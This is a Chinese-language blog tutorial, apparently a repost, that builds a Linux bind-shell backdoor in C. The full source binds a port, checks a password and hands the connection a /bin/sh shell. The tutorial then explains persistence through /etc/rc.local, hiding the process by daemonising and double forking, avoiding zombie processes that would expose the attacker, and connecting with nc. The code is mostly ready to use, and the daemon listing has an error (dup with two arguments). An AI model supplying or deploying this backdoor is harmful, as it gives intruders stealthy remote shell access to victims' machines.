一个简单的Linux后门程序的实现
該程序實質是一個簡單的socket編程,在受害方上運行攻擊代碼(后門進程),通過socket打開一個預設端口,并監聽,等待攻擊方的鏈接。一旦攻擊方通過網絡鏈接工具試圖鏈接該socket,那么后門進程立刻fork一個子進程來處理鏈接請求。處理請求的行為即用exec函數打開一個shell來代替本子進程,并將本進程的標準輸入、輸出、出錯文件描述符重定向到該套接字上,這樣就實現了攻擊方遠程得到了受害方的一個shell。
int main(int argc, char **argv)
{
int i, listenfd, connfd; /*listenfd為主進程監聽的套接字,connfd為TCP連接后的套接字*/
pid_t pid;
char buf[MAXLINE];
socklen_t clilen;
struct sockaddr_in s_addr;
struct sockaddr_in c_addr;
setuid(0); /*為了保險,我們將通過setuid函數使得程序以擁有者身份的權限運行*/
setgid(0);
seteuid(0);
setegid(0);
// daemon(0,0); /*通過daemon函數可以把本程序從終端設備下脫離出來變成守護進程,如果系統啟動時加載本程序就無需這個函數*/
listenfd = socket(AF_INET,SOCK_STREAM,0); /*創建套接字*/
if (listenfd == -1){
printf("socket failed!");
exit(1);
}
bzero(&s_addr,sizeof(s_addr));
s_addr.sin_family=AF_INET;
s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
s_addr.sin_port=htons(PORT);
if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){
printf("bind failed!
");
exit(1);
}
if (listen(listenfd, 20)==-1){ /*監聽套接字*/
printf("listen failed!");
exit(1);
}
clilen = sizeof(c_addr);
while(1){
connfd = accept(listenfd, (struct sockaddr *)&c_addr, &clilen);/*等待攻擊者發起鏈接*/
pid = fork(); /*創建子進程*/
if(!pid)
{
if((pid = fork()) > 0) /*創建孫進程*/
{
exit(0); /*子進程終結*/
}else if(!pid){ /*孫進程處理鏈接請求*/
close(listenfd); /*關閉除要處理的套接字外的所有描述符*/
write(connfd, ENTERPASS, strlen(ENTERPASS));
memset(buf,'', MAXLINE);
read(connfd, buf, MAXLINE);
if (strncmp(buf,PASSWORD,5) !=0){
close(connfd);
exit(0);
}else{
write(connfd, WELCOME, strlen(WELCOME));
dup2(connfd,0); /*將標準輸入、輸出、出錯重定向到我們的套接字上*/
dup2(connfd,1); /*實質是套接字的復制*/
dup2(connfd,2);
execl("/bin/sh", "mysh", (char *) 0); /*打開一個shell代替本進程*/
}
}
}
close(connfd);
if (waitpid(pid, NULL, 0) != pid) /*父進程等待回收子進程*/
printf("waitpid error");
}
}
有幾點細節需要注意
首先攻擊程序通過啟動腳本在開機后就在后臺作為守護進程運行,守護進程的子進程依然是守護進程,使得本進程不容易被發現。
將一個程序在開機后作為守護進程執行的方法很簡單,只需在啟動腳本中增加對應可執行文件的路徑和文件名即可。首先將自己的程序編譯通過生成可執行文件,將可執行文件放到某一個目錄下(如/usr/bin/),然后在啟動腳本中增加一行:
$vi /etc/rc.local
/usr/bin/filename
當然從一個shell進程打開的進程可以通過Linux下提供的daemon函數實現,其實質是fork和setsid的組合。daemon的實現大致如下:
int daemon( int nochdir, int noclose )
{
pid_t pid;
if ( !nochdir && chdir("/") != 0 ) //如果nochdir=0,那么改變到"/"根目錄
return -1;
if ( !noclose ) //如果沒有noclose標志
{
int fd = open("/dev/null", O_RDWR);
if ( fd < 0 )
return -1;
/* 重定向標準輸入、輸出、錯誤 到/dev/null,
鍵盤的輸入將對進程無任何影響,進程的輸出也不會輸出到終端
*/
dup(fd, 0);
dup(fd, 1);
dup(fd, 2);
close(fd);
}
pid = fork(); //創建子進程.
if (pid < 0) //失敗
return -1;
if (pid > 0)
_exit(0); //返回執行的是父進程,那么父進程退出,讓子進程變成真正的孤兒進程.
//創建的 daemon子進程執行到這里了
if ( setsid() < 0 ) //創建新的會話,并使得子進程成為新會話的領頭進程
return -1;
return 0; //成功創建daemon子進程
}
首先調用fork,然后終止父進程。如果本進程是從前臺作為一個shell命令啟動的,當父進程終止時,shell就認為該命令已執行完畢。這樣子進程就自動在后臺運行。另外,子進程繼承了父進程的進程組ID,不過它有自己的進程ID。這就保證子進程不是一個進程組的頭進程,這是接下去調用setsid的必要條件。setsid用于創建一個新的會話(session),當前進程變為新會話的會話頭進程以及新進程的進程組頭進程,從而不再有控制終端。
daemon函數給出的步驟到此為止,然而當一個會話頭進程打開一個終端設備時,該終端自動成為這個會話頭進程的控制終端。史蒂芬告訴我們,在setsid之后我們需要再次fork,再次fork的目的是確保本守護進程不是一個會話頭進程,將來即使打開一個控制終端,也不會自動獲得控制終端。
其次是關于產生僵尸進程的問題,程序原本的想法是主進程始終監聽,當有連接則fork一個子進程進行處理,鑒于主進程要并發處理多個連接,故不能在fork之后調用wait或waitpid來回收子進程,這就出現了問題,那就是子進程結束之后父進程沒有回收它,使得產生僵尸進程,當然如果在子進程中如果調用exec成功后用shell代替當前子進程就沒有這個問題,但是如果在調用exec前發生錯誤,比如密碼輸入錯誤,此時子進程死掉之后沒有進程為它回收狀態信息,這時候就會產生僵尸進程,從攻擊者看來顯得容易暴露身份。解決的辦法有若干個,其中一種簡單是方法就是,主進程在fork后調用wait或waitpid,在子進程中再次調用fork,產生孫進程,而子進程馬上終結,這時候父進程回收子進程。而孫進程由于死了子進程,而有init進程接管,由init進程對孫進程進行回收。當然,處理僵尸進程的方法不止一種,詳細請參見http://www.cnblogs.com/big-xuyue/p/3590680.html 以及http://www.cnblogs.com/Anker/p/3271773.html
最后我們可以通過nc工具進程測試:
$nc -vv localhost 5669
總結
以上是生活随笔為你收集整理的一个简单的Linux后门程序的实现的全部內容,希望文章能夠幫你解決所遇到的問題。